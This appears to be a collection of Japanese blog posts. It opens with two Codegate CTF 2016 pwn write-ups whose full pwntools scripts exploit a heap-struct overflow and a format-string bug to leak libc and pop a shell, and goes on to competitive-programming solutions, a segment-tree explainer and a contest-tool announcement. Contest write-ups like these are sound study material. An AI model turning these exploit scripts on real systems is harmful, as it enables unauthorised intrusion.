Codegate CTF 2016 : Fl0ppy

,

https://github.com/ctfs/write-ups-2016/tree/master/codegate-ctf-2016/pwn/Fl0ppy-315

problem

libcは与えられてない(けど既知として解いた)。

$ ./fl0ppy
===========================================================================

1. Choose floppy

2. Write

3. Read

4. Modify

5. Exit

>
1
===========================================================================

Which floppy do you want to use? 1 or 2?

solution

4. Modify/1 Descriptionにbuffer overflowの脆弱性。適当にleakさせてそのままsystem("/bin/sh")が呼べる。

構造は以下のようになっている。descriptionに$36$文字まで突っ込めるのでもう一方のdataを書き換えstack上へ向け、rop chainを書き込む。

struct floppy_t {
    int is_usable; // 0x0
    char *data; // malloc(0x200); // 0x4
    char description[10]; // 0x8
    int data_length; // strlen(data); // 0x14
}; // 0x18

main() {
    floppy_t floppy_2; // ebp-0x3c
    floppy_t floppy_1; // ebp-0x24
    ...
}

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='localhost')
parser.add_argument('port', nargs='?', default=8000, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--libc')
args = parser.parse_args()
context.log_level = args.log_level

libc = ELF(args.libc)

p = remote(args.host, args.port)

def choose(x):
    p.recvuntil('>\n')
    p.sendline('1')
    p.sendline(str(x))
def write(data, descr):
    p.recvuntil('>\n')
    p.sendline('2')
    p.sendline(data)
    p.sendline(descr)
def read():
    p.recvuntil('>\n')
    p.sendline('3')
    p.recvuntil('DESCRIPTION: ')
    descr = p.recvuntil('DATA: ', drop=True)
    data = p.recvuntil('===========================================================================', drop=True)
    return descr, data
def modify(y, s):
    p.recvuntil('>\n')
    p.sendline('4')
    p.sendline(str({ 'description': 1, 'data': 2 }[y]))
    assert len(s) + 1 <= 0x25
    p.sendline(s)

# leak stack address
choose(1)
write('foo', 'bar')
modify('description', 'A' * 0x10)
descr, _ = read()
return_addr = u32(descr[0x14 :][: 4]) - 4
log.info('stack addr: %#x', return_addr)

# leak libc address
choose(2)
write('foo', 'bar')
modify('description', 'A' * 0x14 + p32(return_addr))
choose(1)
_, data = read()
log.info(repr(data))
libc_start_main = u32(data[: 4]) - 247
log.info('__libc_start_main: %#x', libc_start_main)
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info('libc base: %#x', libc_base)

# write rop chain
choose(1)
payload = ''
payload += p32(libc_base + libc.symbols['system'])
payload += 'AAAA'
payload += p32(libc_base + next(libc.search('/bin/sh')))
modify('data', payload)

# fire
p.recvuntil('>\n')
p.sendline('5')
time.sleep(1)
p.sendline('id')
p.interactive()

Codegate CTF 2016 : old-school

,

https://github.com/ctfs/write-ups-2016/tree/master/codegate-ctf-2016/pwn/old-school

.fini_arrayを忘れて「stackのaddress総当たりか?」とか言ってた。

problem

バイナリ,ソースコード,libcのが全部与えられる。

特にコード(整形済み)は以下。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char buf[1024] = { 0, };
    printf( "YOUR INPUT :" );
    fgets( buf, 1020, stdin );
    printf( "RESPONSE :" );
    printf( buf );
    return 0;
}

solution

自明なstring-format bugがあるが、一度しか踏めない。 まずstack上からlibcやstackのaddressを回収しつつ.fini_arraymainを書き込む。 これにより$2$回目を作り、再度ROP chainを書き込んでsystem("/bin/sh")

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='175.119.158.131')
parser.add_argument('port', nargs='?', default=17171, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--libc', default='libc-2.21.so')
args = parser.parse_args()
context.log_level = args.log_level

elf = ELF('./oldschool')
libc = ELF(args.libc)

# with process('./oldschool') as p:
with remote(args.host, args.port) as p:
    # first payload
    fini_array, = filter(lambda x: x.name == '.fini_array', elf.sections)
    data = map(ord, p32(elf.symbols['main']))
    log.info('.fini_array: %#x', fini_array.header.sh_addr)
    addr = fini_array.header.sh_addr
    offset = 7 + 17
    payload = ''
    payload += '%267$255p ' # %7$x
    payload += '%264$255p '
    payload += '%{}c%{}$hhn'.format((data[0]           - 1) % 256 + 1, offset    )
    payload += '%{}c%{}$hhn'.format((data[1] - data[0] - 1) % 256 + 1, offset + 1)
    payload += '%{}c%{}$hhn'.format((data[2] - data[1] - 1) % 256 + 1, offset + 2)
    payload += '%{}c%{}$hhn'.format((data[3] - data[2] - 1) % 256 + 1, offset + 3)
    payload += ' ' * ((- len(payload)) % 4)
    assert offset == len(payload) / 4 + 7
    payload += p32(addr    )
    payload += p32(addr + 1)
    payload += p32(addr + 2)
    payload += p32(addr + 3)
    payload += '%4096c' # to flush
    log.info('payload: %s', repr(payload))

    # p.recvuntil('YOUR INPUT :')
    p.sendline(payload)
    p.recvuntil('RESPONSE :')
    # s = p.recvline()
    s = p.recv(2000)
    libc_start_main = int(s.split()[0], 16) - 247
    log.info('__libc_start_main: %#x', libc_start_main)
    libc_base = libc_start_main - libc.symbols['__libc_start_main']
    log.info('libc base: %#x', libc_base)
    return_addr = int(s.split()[1], 16) - 20
    log.info('return addr: %#x', return_addr)

    # second payload
    log.info('system: %#x',  libc_base + libc.symbols['system'])
    log.info('/bin/sh: %#x', libc_base + next(libc.search('/bin/sh')))
    data = []
    data += map(ord, p32(libc_base + libc.symbols['system']))
    data += map(ord, p32(libc_base + next(libc.search('/bin/sh'))))
    for delta in range(-2, 2+1):
        offset = 7 + 23 + delta
        payload = ''
        payload += '%{}c%{}$hhn'.format((data[0]           - 1) % 256 + 1, offset    )
        payload += '%{}c%{}$hhn'.format((data[1] - data[0] - 1) % 256 + 1, offset + 1)
        payload += '%{}c%{}$hhn'.format((data[2] - data[1] - 1) % 256 + 1, offset + 2)
        payload += '%{}c%{}$hhn'.format((data[3] - data[2] - 1) % 256 + 1, offset + 3)
        payload += '%{}c%{}$hhn'.format((data[4] - data[3] - 1) % 256 + 1, offset + 4)
        payload += '%{}c%{}$hhn'.format((data[5] - data[4] - 1) % 256 + 1, offset + 5)
        payload += '%{}c%{}$hhn'.format((data[6] - data[5] - 1) % 256 + 1, offset + 6)
        payload += '%{}c%{}$hhn'.format((data[7] - data[6] - 1) % 256 + 1, offset + 7)
        payload += ' ' * ((- len(payload)) % 4)
        if offset != len(payload) / 4 + 7:
            continue
        addr = return_addr - 208
        payload += p32(addr    )
        payload += p32(addr + 1)
        payload += p32(addr + 2)
        payload += p32(addr + 3)
        addr = return_addr - 208 + 8
        payload += p32(addr    )
        payload += p32(addr + 1)
        payload += p32(addr + 2)
        payload += p32(addr + 3)
        break
    else:
        assert False

    # p.recvuntil('YOUR INPUT :')
    p.sendline(payload)
    # p.recvuntil('RESPONSE :')

    time.sleep(1)
    p.sendline('id')
    p.interactive()

Yukicoder No.83 最大マッチング

,

http://yukicoder.me/problems/no/83

星$1$のなかで星が最も付いてる問題だった。

solution

桁数を最優先する。$4$本で作れる11は他のどの$1$桁の数字より大きい。$3$本余った場合は7を作る。出力長を無視すれば$O(1)$。

implementation

#!/usr/bin/env python3
n = int(input())
if n % 2 == 0:
    s = '1' * (n//2)
else:
    s = '7' + '1' * (n//2 - 1)
print(s)

競技プログラミングのための補助ツールを作った

,

URL: https://github.com/kmyk/online-judge-tools

この記事の記述時のversionは0.1.9です。

概要

競プロの際の典型作業を自動化するためのツールです。

主な機能としては以下があります。

  • サンプルケースの自動取得
  • 取得したケースに対するテスト
  • 回答の提出

また、以下のような機能も持ちます。

  • 問題文中の入力フォーマットを解析し、入力取得コードを自動生成
  • 入力ケースと愚直解を与え、これを想定解として出力ケースを生成
  • 複数ケースを含む入力ファイルを解析し、個別ケースを切り出し
  • 標準入出力で受け答えするジャッジプログラムを用いる、リアクティブ問のテスト

特徴として、

  • 導入が楽
  • 高精度

導入

pythonのpackageとしても公開してある[link]ので、導入は以下の$1$行だけで完了します。

$ sudo pip3 install online-judge-tools

更新の取得は以下です。

$ sudo pip3 install --upgrade online-judge-tools

Windows上で動くかどうかは分かりません。msys2やcygwinで頑張るか、あるいはどうしてもこれが使いたければWindowsは諦めて仮想環境を使ってください1

利用

download

サンプルケースの自動取得は以下のようにURLを指定して実行すればできます。 ちゃんとテストも書いて丁寧に実装しているので精度は高いはずです。

$ oj dl URL

多めに出力が出ます。サンプルケースの内容も表示されるので、何かまずそうならすぐ気付けるようになっています。terminal上だと色が付いたり太字になったりします。

$ oj dl http://agc001.contest.atcoder.jp/tasks/agc001_a
[x] problem recognized: <onlinejudge.atcoder.AtCoderProblem object at 0x7f1fb6c4dd30>: http://agc001.contest.atcoder.jp/tasks/agc001_a
[*] load cookie from: /home/user/.local/share/onlinejudge/cookie.jar
[x] GET: http://agc001.contest.atcoder.jp/tasks/agc001_a
[x] 200 OK
[*] skipped due to language: current one is lang-ja, not lang-en: Sample Input 1 
[*] skipped due to language: current one is lang-ja, not lang-en: Sample Output 1 
[*] skipped due to language: current one is lang-ja, not lang-en: Sample Input 2 
[*] skipped due to language: current one is lang-ja, not lang-en: Sample Output 2 
[*] save cookie to: /home/user/.local/share/onlinejudge/cookie.jar

[*] sample 0
[x] input: 入力例 1
2
1 3 1 2
[+] saved to: test/sample-1.in
[x] output: 出力例 1
3
[+] saved to: test/sample-1.out

[*] sample 1
[x] input: 入力例 2
5
100 1 2 3 14 15 58 58 58 29
[+] saved to: test/sample-2.in
[x] output: 出力例 2
135
[+] saved to: test/sample-2.out

test

サンプルケースを用いてテストを行います。コマンドは以下の形で、-c COMMANDが省略された場合は./a.outが使われます。

$ oj test [-c COMMAND]
$ oj test -c ./a.pl
[*] 2 cases found

[*] sample-1
[x] time: 0.002464 sec
[+] AC

[*] sample-2
[x] time: 0.002267 sec
[-] WA
output:
1


expected:
1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
16


[x] slowest: 0.002464 sec  (for sample-1)
[-] test failed: 1 AC / 2 cases

login

提出やコンテストの本番中の利用にはloginが必要です。コマンドは以下です。

$ oj login URL

実行するとusername/passwordが聞かれるので入力してください。 loginに成功するとsession情報のみがファイルに保存されます。

$ oj login http://codeforces.com
[x] service recognized: <onlinejudge.codeforces.CodeforcesService object at 0x7fd80b96c780>: http://codeforces.com
[*] load cookie from: /home/user/.local/share/onlinejudge/cookie.jar
[x] GET: http://codeforces.com/enter
[x] 200 OK
Username: user
Password: 
[x] POST: http://codeforces.com/enter
[x] 200 OK
[+] Welcome, user.
[*] save cookie to: /home/user/.local/share/onlinejudge/cookie.jar

submit

submitもできます。shellのヒストリ機能で誤爆するとペナルティが生えて危ないので、あまり使わない方がいい気がしています。 なので優先順位が低くあまり対応サービスは多くないのですが、要望があれば増えるはずです。

$ oj submit URL SOLUTION [--language LANG]

--language LANGを指定しなかった場合は選択可能な言語の一覧が表示されます。

$ oj submit http://yukicoder.me/problems/no/9002 a.pl --language perl
[x] problem recognized: <onlinejudge.yukicoder.YukicoderProblem object at 0x7fb2ce08eb38>: http://yukicoder.me/problems/no/9002
[*] code:
#!/usr/bin/perl
print+(Fizz)[$_%3].(Buzz)[$_%5]||$_,$/for 1..<>

[*] load cookie from: /home/user/.local/share/onlinejudge/cookie.jar
[x] GET: https://yukicoder.me/problems/no/9002/submit
[x] 200 OK
[x] POST: https://yukicoder.me/problems/16/submit
[x] 200 OK
[+] success: result: https://yukicoder.me/submissions/144776
[*] save cookie to: /home/user/.local/share/onlinejudge/cookie.jar

generate-scanner

入力フォーマットを解析して入力取るコードを自動生成します。 精度はそれなりなので注意。

例えば、

N
L_1 L_2 ... L_2N

が、

int N; cin >> N;
vector<int> L(2*N); repeat (i,2*N) cin >> L[i];

になります。

コマンドは次です。

$ oj g/s URL

しかしeditorのコマンドに割り当てておくべきです。以下はvimの例。

nnoremap <space>gs :r! oj generate-scanner --silent --repeat-macro=repeat 

実行例。

$ oj generate-scanner --repeat-macro=repeat http://agc001.contest.atcoder.jp/tasks/agc001_a
[!] This feature is experimental.
[x] problem recognized: <onlinejudge.atcoder.AtCoderProblem object at 0x7f1c700c3cf8>: http://agc001.contest.atcoder.jp/tasks/agc001_a
[*] load cookie from: /home/user/.local/share/onlinejudge/cookie.jar
[x] GET: http://agc001.contest.atcoder.jp/tasks/agc001_a
[x] 200 OK
[*] save cookie to: /home/user/.local/share/onlinejudge/cookie.jar
[+] success:
int N; cin >> N;
vector<int> L(2*N); repeat (i,2*N) cin >> L[i];

generate-output

実装と入力ケースから対応する出力ケースを作ります。 yukicoderの作問時の $\dots$を想定解として出力ケースを生成 みたいなやつです。

$ oj g/o [-c COMMAND]

split-input

ICPCでよくある単一ファイルに複数ケース入ってる場合に、ケースごとにファイルに切り分けます。 既にある実装を利用し、入力を$1$行ずつ与えて、出力が発生したらケースの区切りが来たと認識して分割します。

$ oj s/i [-i SOURCE] [-o DEST_FORMAT] [-c COMMAND]

test-reactive

リアクティブ問のテストを簡単にする機能です。 パイプを作っていい感じに繋ぐ処理をしてくれるので、入出力を標準入出力で行うようなジャッジプログラムを書くだけでよくなります。

$ oj t/r [-c COMMAND] JUDGE_COMMAND

貢献

何か壊れていたらissueとかで教えてください。 特に、コンテスト中に発生すると成績に深刻な影響を与えるバグ(例えば、サンプルケースの取得で一見上手くいってるけど実は失敗している場合など)は、例えばURLを投げ付けてくれるだけでも十分ありがたいです。 ちなみにこうやってわざわざ記事を書いて宣伝しているのは、バグを見つけて報告してくれるユーザを獲得するためです。

pull requestも歓迎します。

競合

参考までに

機能があまり被らないもの:



  • Thu Jan 19 17:11:18 JST 2017
    • 「…素直に仮想環境を…」の文言を修正

  1. 当初は「あるいは素直に仮想環境を使ってください」と書いていたのですが、「WindowsがいいからWindows使ってんのに、仮想環境を使うのが素直な選択肢なわけねえだろ何いってんだ」という意見があり、それはそうだなと思ったので訂正しました。 [return]

Codeforces Round #340 (Div. 2): E. XOR and Favorite Number

,

http://codeforces.com/contest/617/problem/E

Mo’s algorithmの練習。方針はすぐだったが細部がつらかった。

problem

数列$a_i$が与えられる。 クエリとして与えられる区間$[l_i, r_i)$ごとに、その中に含まれるxor総和が$k$となるような部分区間の数を答えよ。

solution

Mo’s algorithm。$O((N+M)\sqrt{N})$で空間$O(\max \{ k, \max a_i \})$。

事前に累積和$b_i$を取っておくと、区間$[l_i, r_i)$に対する答えは$l_i \le i \lt j \le r_i$で$b_i \oplus b_j \oplus k = 0$なものの数になる。 ある区間$[l, r)$に対する答えと区間中の$b_i$の出現頻度の表があれば、区間$[l \pm 1, r)$や$[l, r \pm 1)$に対してのそれを$O(1)$で計算できる。 $b_i$の出現頻度の表は配列で持ち、答えの増減は丁寧にやる。 これはMo’s algorithmを適用でき$O((N+M)\sqrt{N})$。

詳細について。 累積和$b_i = \sum_{j \lt i}^{\oplus} a_j$。 区間$[l,r)$ごとに、答え$\mathrm{ans}_{l,r} = |\{ [i,j) \subseteq [l,r) \mid i \ne j \land b_j \oplus b_i = k \}|$、頻度表$c_{l,r}(i) = |\{ j \in [l,r) \mid b_j = i \}|$を持つ。 例えば右端を伸ばすとして、$\mathrm{ans}_{l,r+1} = |\{ [i,j) \subseteq [l,r+1) \mid i \ne j \land b_j \oplus b_i = k \}| = \mathrm{ans}_{l,r} + |\{ i \in [l,r+1) \mid b_{r+1} \oplus b_i = k \}| = \mathrm{ans}_{l,r} + c_{l,r+1}(b_{r+1} \oplus k)$。

implementation

#include <iostream>
#include <vector>
#include <algorithm>
#include <numeric>
#include <cmath>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;
int main() {
    // input
    int n, m, k; cin >> n >> m >> k;
    vector<int> a(n); repeat (i,n) cin >> a[i];
    vector<int> l(m), r(m); repeat (i,m) { cin >> l[i] >> r[i]; -- l[i]; }
    // solve
    //   Mo's algorithm
    int sqrt_n = sqrt(n);
    vector<int> ixs(m);
    whole(iota, ixs, 0);
    whole(sort, ixs, [&](int i, int j) {
        return make_pair(l[i] / sqrt_n, r[i]) < make_pair(l[j] / sqrt_n, r[j]);
    });
    vector<int> acc { 0 }; whole(partial_sum, a, back_inserter(acc), bit_xor<int>());
    vector<int> accs(max(k, *whole(max_element, a)) * 2 + 3);
    ll cnt = 0;
    int l_cur = 0, r_cur = 0;
    vector<ll> ans(m);
    for (int i : ixs) {
        while (l[i] < l_cur) {
            int i = -- l_cur;
            if ((acc[i] ^ acc[r_cur]) == k) cnt += 1;
            cnt += accs[acc[i] ^ k];
            accs[acc[i]] += 1;
        }
        while (r_cur < r[i]) {
            int i = r_cur ++;
            accs[acc[i]] += 1;
            cnt += accs[acc[i+1] ^ k];
        }
        while (l_cur < l[i]) {
            int i = l_cur ++;
            accs[acc[i]] -= 1;
            cnt -= accs[acc[i] ^ k];
            if ((acc[i] ^ acc[r_cur]) == k) cnt -= 1;
        }
        while (r[i] < r_cur) {
            int i = -- r_cur;
            cnt -= accs[acc[i+1] ^ k];
            accs[acc[i]] -= 1;
        }
        ans[i] = cnt;
    }
    // output
    repeat (i,m) {
        cout << ans[i] << endl;
    }
    return 0;
}

第3回 ドワンゴからの挑戦状 本選: D - 「ドワンゴからの挑戦状」製作秘話

,

http://dwacon2017-honsen.contest.atcoder.jp/tasks/dwango2017final_d

solution

候補を作って検証する。$O(N\log N)$。

クエリ列を逆になめて初期状態の候補を構成する。 $a_l, a_{l+1}, \dots, a_r$にそれぞれ$x$を足しその後の最大値が$y$であった、というのを逆転させる。 $a_l, a_{l+1}, \dots, a_r$の最大値が$y$になるように増減させその後それぞれ$x$を引く、になる。 最大値が$y$というのは、全て$y$以下かつちょうど$y$なものがひとつ以上存在するということ。特にちょうど$y$なものの存在性が面倒。 しかし最後に検証をすることにすれば、構成が不可能な場合は無視してよい。 よって、$a_l, a_{l+1}, \dots, a_r$を$10^{18}$で初期化してから始め、クエリを逆順に処理していく。 まず主に全て$y$以下のみ満たすことを考え、$a_l, a_{l+1}, \dots, a_r$のそれぞれを$y$との最小値で更新する。 これでちょうど$y$のものができていればそれでよいし、そうでなければそもそも不可能であり問題ない。 その後全体から$x$を引く。 これを繰り返せば候補が構成できる。

区間一様加算/区間$\max$取得や区間一様減算/区間$\min$更新は、共に遅延伝播segment木で扱える。

implementation

#include <iostream>
#include <vector>
#include <tuple>
#include <functional>
#include <cmath>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_reverse(i,n) for (int i = (n)-1; (i) >= 0; --(i))
using ll = long long;
using namespace std;

template <typename M, typename Q>
struct lazy_propagation_segment_tree { // on monoids
    int n;
    vector<M> a;
    vector<Q> q;
    function<M (M,M)> append_m; // associative
    function<Q (Q,Q)> append_q; // associative, not necessarily commutative
    function<M (Q,M)> apply; // distributive, associative
    M unit_m; // unit
    Q unit_q; // unit
    lazy_propagation_segment_tree() = default;
    lazy_propagation_segment_tree(int a_n, M a_unit_m, Q a_unit_q, function<M (M,M)> a_append_m, function<Q (Q,Q)> a_append_q, function<M (Q,M)> a_apply) {
        n = pow(2,ceil(log2(a_n)));
        a.resize(2*n-1,     a_unit_m);
        // q.resize(2*(n-1)-1, a_unit_q);
        q.resize(2*n-1, a_unit_q);
        unit_m = a_unit_m;
        unit_q = a_unit_q;
        append_m = a_append_m;
        append_q = a_append_q;
        apply = a_apply;
    }
    void range_apply(int l, int r, Q z) {
        range_apply(0, 0, n, l, r, z);
    }
    void range_apply(int i, int il, int ir, int l, int r, Q z) {
        if (l <= il and ir <= r) {
            a[i] = apply(z, a[i]);
            // if (i < q.size()) q[i] = append_q(z, q[i]);
            q[i] = append_q(z, q[i]);
        } else if (ir <= l or r <= il) {
            // nop
        } else {
            range_apply(2*i+1, il, (il+ir)/2, 0, n, q[i]);
            range_apply(2*i+1, il, (il+ir)/2, l, r, z);
            range_apply(2*i+2, (il+ir)/2, ir, 0, n, q[i]);
            range_apply(2*i+2, (il+ir)/2, ir, l, r, z);
            a[i] = append_m(a[2*i+1], a[2*i+2]);
            q[i] = unit_q;
        }
    }
    M range_concat(int l, int r) {
        return range_concat(0, 0, n, l, r);
    }
    M range_concat(int i, int il, int ir, int l, int r) {
        if (l <= il and ir <= r) {
            return a[i];
        } else if (ir <= l or r <= il) {
            return unit_m;
        } else {
            return apply(q[i], append_m(
                    range_concat(2*i+1, il, (il+ir)/2, l, r),
                    range_concat(2*i+2, (il+ir)/2, ir, l, r)));
        }
    }
};

const ll inf = 1e18;
int main() {
    // input
    int n; cin >> n;
    int q; cin >> q;
    vector<int> l(q), r(q), x(q), y(q); repeat (i,q) { cin >> l[i] >> r[i] >> x[i] >> y[i]; -- l[i]; }
    // backward
    lazy_propagation_segment_tree<ll,pair<ll,ll> > segtree_back(n, 0, make_pair(0, inf), [](ll a, ll b) {
        return a + b;
    }, [](pair<ll,ll> p, pair<ll,ll> q) {
        ll x1, y1; tie(x1, y1) = q;
        ll x2, y2; tie(x2, y2) = p;
        return make_pair( x1 + x2, min(y1, y2 + x1) );
    }, [](pair<ll,ll> q, ll a) {
        ll x, y; tie(x, y) = q;
        return min(a, y) - x;
    });
    repeat (i,n) segtree_back.range_apply(i, i+1, make_pair(- inf, 0));
    repeat_reverse (i,q) segtree_back.range_apply(l[i], r[i], make_pair(x[i], y[i]));
    vector<ll> a(n);
    repeat (i,n) a[i] = segtree_back.range_concat(i, i+1);
    // forward
    lazy_propagation_segment_tree<ll,ll> segtree_for(n, - inf, 0, [](ll a, ll b) {
        return max(a, b);
    }, [](ll p, ll q) {
        return p + q;
    }, [](ll q, ll a) {
        return q + a;
    });
    bool is_ok = true;
    repeat (i,n) segtree_for.range_apply(i, i+1, inf + a[i]);
    repeat (i,q) {
        segtree_for.range_apply(l[i], r[i], x[i]);
        if (segtree_for.range_concat(l[i], r[i]) != y[i]) {
            is_ok = false;
            break;
        }
    }
    // output
    if (is_ok) {
        cout << "OK" << endl;
        repeat (i,n) {
            if (i) cout << ' ';
            cout << a[i];
        }
        cout << endl;
    } else {
        cout << "NG" << endl;
    }
    return 0;
}

Segment木の種類とその要件

,

単純なsegment木

ここで言う「単純な」とは、台集合上の列を$1$本のみ持てば実現できるもの。 分類すると以下になる。

  • 点代入/区間総和
  • 区間演算/点取得

特によく使われるのが上である。修飾なしでsegment木と言えばたいていこれ。 range minimum queryやrange maximum queryが例。 台集合はmonoidであればよい。 長さ$1$の区間を考えれば点取得も可能。 逆元が取れるならbinary indexed treeで代用でき、さらに更新が不要なら累積和で済む。

下は他のsegment木の構成要素としては出現するが、単体ではあまり見ない。 区間への一様加算などができる。 これも台はmonoidであればよい。 可換性を仮定すれば実装が楽になるが仮定しない場合は特有の操作が必要になり、この操作を指して特に遅延伝播1と呼ばれる (詳細は下)。 点代入は逆元が取れるときのみ可能。

遅延伝播segment木

$2$種の単純なsegment木を並べて用いれば$2$種の区間操作を実現できる。 つまり

  • 区間演算/区間総和

ができる。

台は総和の対象のmonoid $M$と演算を表現するmonoid $Q$のふたつとなる。 さらに$M$の要素$a \in M$と$Q$の要素$q \in Q$の間に適用演算$q(a) \in M$が定義されていて、

  • 分配律 $q(a \cdot b) = q(a) \cdot q(b)$
  • $2$演算間の結合律 $(q_2 \cdot q_1)(a) = q_2(q_1(a))$

を満たすのが条件。

区間演算側が加算で区間総和側が$\max$のstarry sky treeが典型例。 $q(a) = q + a$と$a \cdot b = \max \{ a, b \}$なので例えば$q(a \cdot b) = q + \max \{ a, b \} = \max \{ q + a, q + b \} = q(a) \cdot q(b)$であるなど、要件を満たしていることが分かる。

また、演算の引数に区間の長さを加えることができる。木の実装を操作してもよいが、$M$を拡張して$M \times \mathbb{N}$とし台に長さを乗せてしまうことでも実現できる。

その実装方法について。 木の頂点に対応する区間$i$はそれぞれ$a_i \in M,\; q_i \in Q$を持つとする。 小区間$i_L = [l,m),\; i_R = [m,r)$からなる区間$i = [l,r)$についての操作を考える。 区間に一様か否かで場合分けして、以下のようになる。

  • 区間全体の総和取得は、$a_i$を返せばよい
  • 区間全体への演算$q_\star$は、$a_i \gets q_\star(a_i),\; q_i \gets q_\star \cdot q_i$とする
  • 区間の一部の総和取得は、左右の小区間$i_L, i_R$へ流して結果$a, b$を受け取り、$q_i(a + b)$が結果
  • 区間の一部への演算$q_\star$は、まず既にある演算$q_i$を左右の小区間$i_L, i_R$へ分割して適用し$q_i$を初期化$q_i \gets 1$、その後に$q_\star$を適切に左右の小区間$i_L, i_R$に適用し、最後に$a_i$を更新 (遅延伝播)
    • 演算の可換性を仮定すれば、既にある演算を分割して適用する操作が不要
    • $q \cdot 1 = 1 \cdot q$の可換性を作りだして利用している。これをせずに$q_\star$を下に流すと、$q_i$と$q_\star$の適用順序が逆転してしまう

付録: 参考実装

点代入/区間総和

template <typename T>
struct segment_tree { // on monoid
    int n;
    vector<T> a;
    function<T (T,T)> append; // associative
    T unit; // unit
    segment_tree() = default;
    segment_tree(int a_n, T a_unit, function<T (T,T)> a_append) {
        n = pow(2,ceil(log2(a_n)));
        a.resize(2*n-1, a_unit);
        unit = a_unit;
        append = a_append;
    }
    void point_update(int i, T z) {
        a[i+n-1] = z;
        for (i = (i+n)/2; i > 0; i /= 2) {
            a[i-1] = append(a[2*i-1], a[2*i]);
        }
    }
    T range_concat(int l, int r) {
        return range_concat(0, 0, n, l, r);
    }
    T range_concat(int i, int il, int ir, int l, int r) {
        if (l <= il and ir <= r) {
            return a[i];
        } else if (ir <= l or r <= il) {
            return unit;
        } else {
            return append(
                    range_concat(2*i+1, il, (il+ir)/2, l, r),
                    range_concat(2*i+2, (il+ir)/2, ir, l, r));
        }
    }
};

区間演算/区間総和

template <typename M, typename Q>
struct lazy_propagation_segment_tree { // on monoids
    int n;
    vector<M> a;
    vector<Q> q;
    function<M (M,M)> append_m; // associative
    function<Q (Q,Q)> append_q; // associative, not necessarily commutative
    function<M (Q,M)> apply; // distributive, associative
    M unit_m; // unit
    Q unit_q; // unit
    lazy_propagation_segment_tree() = default;
    lazy_propagation_segment_tree(int a_n, M a_unit_m, Q a_unit_q, function<M (M,M)> a_append_m, function<Q (Q,Q)> a_append_q, function<M (Q,M)> a_apply) {
        n = pow(2,ceil(log2(a_n)));
        a.resize(2*n-1,     a_unit_m);
        // q.resize(2*(n-1)-1, a_unit_q);
        q.resize(2*n-1, a_unit_q);
        unit_m = a_unit_m;
        unit_q = a_unit_q;
        append_m = a_append_m;
        append_q = a_append_q;
        apply = a_apply;
    }
    void range_apply(int l, int r, Q z) {
        range_apply(0, 0, n, l, r, z);
    }
    void range_apply(int i, int il, int ir, int l, int r, Q z) {
        if (l <= il and ir <= r) {
            a[i] = apply(z, a[i]);
            // if (i < q.size()) q[i] = append_q(z, q[i]);
            q[i] = append_q(z, q[i]);
        } else if (ir <= l or r <= il) {
            // nop
        } else {
            range_apply(2*i+1, il, (il+ir)/2, 0, n, q[i]);
            range_apply(2*i+1, il, (il+ir)/2, l, r, z);
            range_apply(2*i+2, (il+ir)/2, ir, 0, n, q[i]);
            range_apply(2*i+2, (il+ir)/2, ir, l, r, z);
            a[i] = append_m(a[2*i+1], a[2*i+2]);
            q[i] = unit_q;
        }
    }
    M range_concat(int l, int r) {
        return range_concat(0, 0, n, l, r);
    }
    M range_concat(int i, int il, int ir, int l, int r) {
        if (l <= il and ir <= r) {
            return a[i];
        } else if (ir <= l or r <= il) {
            return unit_m;
        } else {
            return apply(q[i], append_m(
                    range_concat(2*i+1, il, (il+ir)/2, l, r),
                    range_concat(2*i+2, (il+ir)/2, ir, l, r)));
        }
    }
};

  1. 遅延伝播と遅延伝搬で表記揺れがある。共にlazy propagationの訳語で、どちらが間違いという訳ではない。遅延評価という記述もあるが、こちらは複数の点でよくないので使わないほうがよいだろう。 [return]

第3回 ドワンゴからの挑戦状 本選: C - ドワンGo

,

http://dwacon2017-honsen.contest.atcoder.jp/tasks/dwango2017final_c

solution

  1. とりあえずテレビちゃんに近い$1$点を見つける
    • 空間を円に内接する$R\sqrt{2} \times R\sqrt{2}$の長方形に切ってしらみつぶしにやる
  2. テレビちゃんを円周上に乗せる点を$2$つ見つける
    • ふつうに二分探索
    • 一方の軸$x$は固定してこれと共に条件を満たす$y_1,y_2$を見つけると後が楽
  3. 見つけた$2$円の交点の周囲を試す
    • 三平方の定理とかでいい感じにする

基本的には上でよい。ただしときおり誤差で失敗する。 テレビちゃんを円周上に乗せる点を$(y_1,x), (y_2,x)$としたとき、$y_t \approx \frac{y_1 + y_2}{2}$とすれば誤差は$\pm 1$程度だが、$x_t \approx x \pm \sqrt{R^2 - {|y_1 - y_2|}^2}$の誤差は大きい。 この$x_t$の誤差が大きくなるのは特に$\sqrt{R^2 - {|y_1 - y_2|}^2}$が小さいときであるというのが観察から分かる。 そこで、1.と2.の間で適当に$x \gets x + \alpha$とするなどして、テレビちゃんを$x$軸方向に見て端に追い遣っておくとよい。

implementation

手元テスト用 ジャッジコード

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import random
import sys
import argparse

L = 1000000
R = 100000
xt = random.randint(0, L)
yt = random.randint(0, L)
log.info('xt = %d', xt)
log.info('yt = %d', yt)

parser = argparse.ArgumentParser()
parser.add_argument('binary', nargs='?', default='./a.out')
parser.add_argument('--log-level', default='debug')
args = parser.parse_args()

context.log_level = args.log_level
p = process(args.binary, stderr=sys.stderr)
for q in range(200):
    try:
        x, y = map(int, p.recvline().split())
    except:
        log.failure('RE')
        sys.exit(1)
    if x == xt and y == yt:
        p.sendline('found')
        log.success('AC')
        log.info('%d queries used', q+1)
        sys.exit(0)
    if (xt - x) ** 2 + (yt - y) ** 2 < R ** 2:
        p.sendline('close')
    else:
        p.sendline('far')
p.sendline('kill')
log.failure('QLE')
sys.exit(1)

回答

